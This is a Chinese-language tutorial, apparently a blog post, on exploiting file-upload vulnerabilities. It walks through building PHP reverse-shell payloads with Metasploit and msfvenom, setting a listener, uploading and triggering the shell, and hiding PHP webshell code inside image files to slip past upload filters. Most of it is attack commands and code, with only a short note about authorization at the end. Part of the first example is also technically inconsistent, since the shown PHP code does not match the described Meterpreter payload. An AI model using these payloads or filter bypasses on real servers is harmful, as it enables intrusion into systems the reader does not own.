一、讲解示例

在Metasploit框架中,可以使用php/meterpreter/reverse_tcp payload结合文件上传漏东来创建一个反向shell。以下是一个详细的示例,演示如何生成一个反向shell的负载并用Metasploit进行监听。

步骤 1: 启动Metasploit控制台

打开终端并输入以下命令来启动Metasploit控制台:

msfconsole

步骤 2: 导航到PHP Meterpreter模块

在Metasploit控制台中,使用use命令来选择php/meterpreter/reverse_tcp模块。

use exploit/multi/handler

步骤 3: 设置参数

设置监听的IP地址和端口。

set LHOST [your_IP_address]
set LPORT [listening_port]

LHOST - 你的IP地址
LPORT - 用于监听的端口号

步骤 4: 生成PHP payload

生成PHP代码,这段代码将执行一个反向shell。

generate -t php -f payload.php

这将生成一个名为payload.php的PHP文件,其内容如下:

<?php 
$ip = "[your_IP_address]";
$port = [listening_port];
$socket = stream_socket_client("tcp://$ip:$port", $errno, $errstr, 30);
if (!$socket) {
    die("$errstr ($errno)\n");
}
while ($conn = fgets($socket)) {
    if ($conn == 'quit\n') break;
    $conn = trim(fgets(STDIN));
    fwrite($socket, $conn . "\n");
}
fclose($socket);
?>

步骤 5: 进行监听

回到Metasploit控制台,使用exploit命令开始监听。

exploit

步骤 6: 上传并执行payload

将生成的payload.php文件通过文件上传漏东上传到目标服务器,并以某种方式执行它。这一步取决于具体的应用程序漏东和环境,Metasploit本身不提供上传文件的功能。

一旦payload.php被执行,Metasploit监听的端口将接收到一个反向shell连接,并提供一个交互式的命令shell。

二、讲解示例2

利用上传文件漏东来植入恶意Payload并进行监听,通常涉及创建一个恶意文件(如Web shell),通过漏东上传至目标服务器,然后通过Metasploit建立监听来捕获回连。下面是一个使用Metasploit Framework(MSF)生成Payload并进行监听的示例过程。

第一步:生成Payload

使用msfvenom生成适合Web环境的Payload,例如PHP反向Shell。这将作为被上传的恶意文件。

1msfvenom -p php/reverse_php LHOST=你的公鸡机IP LPORT=监听端口 -f raw > shell.php
  • -p php/reverse_php 指定了生成PHP语言的反向Shell Payload。
  • LHOST 是公鸡者的IP地址,确保目标服务器能与之通信。
  • LPORT 是你在公鸡机上监听的端口。
  • -f raw 表示输出为未经过编码的原始格式,适用于大多数文件上传的情况。
  • > shell.php 将生成的Payload保存为shell.php文件。

第二步:设置监听器

在Metasploit终端中设置一个监听器来等待Payload从目标服务器回连。

  1. 打开Metasploit终端。
  2. 使用以下命令设置监听:
1use exploit/multi/handler
2set PAYLOAD php/reverse_php
3set LHOST 你的公鸡机IP
4set LPORT 监听端口
5exploit -j

第三步:利用上传漏东上传Payload

利用目标系统的文件上传功能,上传之前生成的shell.php文件。这通常需要通过Web表单提交或利用特定的API接口。确保你遵循目标应用程序的文件上传机制,比如修改文件名或扩展名以绕过安全检查。

第四步:触发Payload并监听

一旦文件成功上传,你需要找到访问它的URL(如果适用)。如果是通过Web表单上传,通常会有一个已知的路径或可以通过浏览目录结构发现。访问此URL将会触发Payload执行,从而建立与你的监听器之间的连接。

注意事项

  • 在进行此类操作时,确保你有合法授权进行渗头测试。
  • 实际公鸡中,可能需要根据目标系统的安全设置调整Payload和上传策略。
  • 成功利用后,要负责任地处理获取的访问权限,不要非法入侵或破坏他人系统。
  • 保持对法律和道德规范的尊重,确保行动符合行业标准和法律规定。

绕过

cat绕过

随便找个喜欢的图

文件上传漏东利用并监听_PHP

使用cat命令将PHP的马直接写在图片的最后

文件上传漏东利用并监听_上传_02

有时候还是会报错

文件上传漏东利用并监听_php_03

可能是因为在最后面直接追加PHP代码可以被检测到

echo绕过

文件上传漏东利用并监听_上传_04

使用echo命令写一个PHP代码到图片中

文件上传漏东利用并监听_上传_05

写一个系统命令在图片中

文件上传漏东利用并监听_上传_06

cat 狗狗.png

文件上传漏东利用并监听_php_07

内容已经被写入

文件上传漏东利用并监听_php_08

将一个狗狗图片复制成png,然后将图片写一个php马在生成一个新的图片文件

文件上传漏东利用并监听_php_09

也是在最后加进来的

vscode 绕过

文件上传漏东利用并监听_PHP_10

用vscode打开

文件上传漏东利用并监听_PHP_11

查看PHP马,选中复制

文件上传漏东利用并监听_上传_12

打开图片

文件上传漏东利用并监听_PHP_13

在图片中间随便一个位置粘贴,然后保存上传